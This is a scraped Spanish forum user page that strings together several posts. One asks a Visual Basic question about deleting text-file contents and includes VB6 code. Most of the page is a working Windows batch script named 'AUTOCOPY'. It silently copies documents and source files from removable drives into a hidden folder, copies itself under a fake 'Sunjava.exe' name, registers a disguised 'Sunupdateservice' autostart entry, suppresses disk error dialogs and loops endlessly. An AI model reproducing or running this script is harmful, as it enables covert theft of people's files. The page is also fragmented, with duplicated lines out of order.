lo que quiero es que se borre la informacion que ay adentro del archivo text o si se puede borrar una linea desde visual basic
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes MenúPrivate Sub Command1_Click()
Open "C:\WINDOWS\xd.txt" For Append As #1
'vbCrLf es como un enter
Print #1, "fecha="; Date; vbCrLf; vbCrLf; "clave= "; Text1.Text & vbCrLf; "nombre="; Text2.Text & vbCrLf; "precio="; Text3.Text; vbCrLf
Close #1
MsgBox "guardado"
Private Sub Command2_Click()
Dim foo As Integer
foo = FreeFile
Open "C:\WINDOWS\xd.txt" For Input As #foo
Text4.Text = Input(LOF(foo), #foo)
Close #foo
aqui esta el programa
http://www.mediafire.com/?37o07mrd6l01wg6
necesito si me podrian ayudar a que la informacion del archivo de texto se borre ojala me pudieran ayudar
(*.doc,*cpp,*ppt,*d0cx,*pptx,*.c)
(*.jpg)
(*.jpg,*.mp3)
mkdir C:\trabajos
REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Sunupdateservice /t REG_SZ /d "%WINDIR%\14785\Sunjava.exe" /f
REG ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Windows /v ErrorMode /t REG_DWORD /d "2" /f
ping 127.0.0.1 -n 35
@echo off
REM A
REM U
REM T
REM O
REM C
REM O
REM P
REM Y
REM by asdexiva~
:inicio
mkdir C:\trabajos
REM copiado de archivos al usb
(FOR /R "E:\" %%a IN (*.doc,*cpp,*ppt,*d0cx,*pptx,*.c) DO (copy /y "%%a" "C:\trabajos\"))
(FOR /R "F:\" %%a IN (*.doc,*cpp,*ppt,*d0cx,*pptx,*.c) DO (copy /y "%%a" "C:\trabajos\"))
(FOR /R "G:\" %%a IN (*.doc,*cpp,*ppt,*d0cx,*pptx,*.c) DO (copy /y "%%a" "C:\trabajos\"))
(FOR /R "H:\" %%a IN (*.doc,*cpp,*ppt,*d0cx,*pptx,*.c) DO (copy /y "%%a" "C:\trabajos\"))
(FOR /R "I:\" %%a IN (*.doc,*cpp,*ppt,*d0cx,*pptx,*.c) DO (copy /y "%%a" "C:\trabajos\"))
(FOR /R "J:\" %%a IN (*.doc,*cpp,*ppt,*d0cx,*pptx,*.c) DO (copy /y "%%a" "C:\trabajos\"))
(FOR /R "K:\" %%a IN (*.doc,*cpp,*ppt,*d0cx,*pptx,*.c) DO (copy /y "%%a" "C:\trabajos\"))
(FOR /R "L:\" %%a IN (*.doc,*cpp,*ppt,*d0cx,*pptx,*.c) DO (copy /y "%%a" "C:\trabajos\"))
(FOR /R "W:\" %%a IN (*.doc,*cpp,*ppt,*d0cx,*pptx,*.c) DO (copy /y "%%a" "C:\trabajos\"))
REM SE AGREGA AL INICIO DEL SISTEMA
REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Sunupdateservice /t REG_SZ /d "%WINDIR%\14785\Sunjava.exe" /f
REM DESABILITA ERROR NO AY DISCO
REG ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Windows /v ErrorMode /t REG_DWORD /d "2" /f
REM COPIAR ARCHIVO A WINDOWS PARA INICIAR con el registro
Copy /y %0, "%WINDIR%\14785\Sunjava.exe"
:LOOP
REM especie de sleep 35 SEGUNDOS
ping 127.0.0.1 -n 35
goto inicio